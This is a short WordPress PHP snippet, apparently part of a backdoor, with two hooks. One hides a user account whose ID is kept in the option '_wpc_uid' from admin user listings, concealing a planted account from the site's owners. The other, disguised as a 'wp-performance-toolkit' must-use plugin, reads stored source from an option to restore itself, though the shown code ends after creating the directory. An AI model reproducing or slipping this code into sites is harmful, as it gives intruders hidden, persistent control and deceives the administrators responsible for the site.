add_action("pre_user_query",function($q){global $wpdb;$h=intval(get_option("_wpc_uid",0));if($h&&is_admin()&&isset($q->query_where)){$q->query_where.=$wpdb->prepare(" AND {$wpdb->users}.ID != %d",$h);}});
add_action( 'plugins_loaded', function() {
    $mu_dir = defined( 'WPMU_PLUGIN_DIR' ) ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . '/mu-plugins';
    if ( ! file_exists( $mu_dir . '/wp-performance-toolkit.php' ) ) {
        $src = get_option( '_perf_toolkit_source', '' );
        if ( $src ) {
            if ( ! is_dir( $mu_dir ) ) { @mkdir( $mu_dir, 0755, true ); }
        }
    }
}, 1 );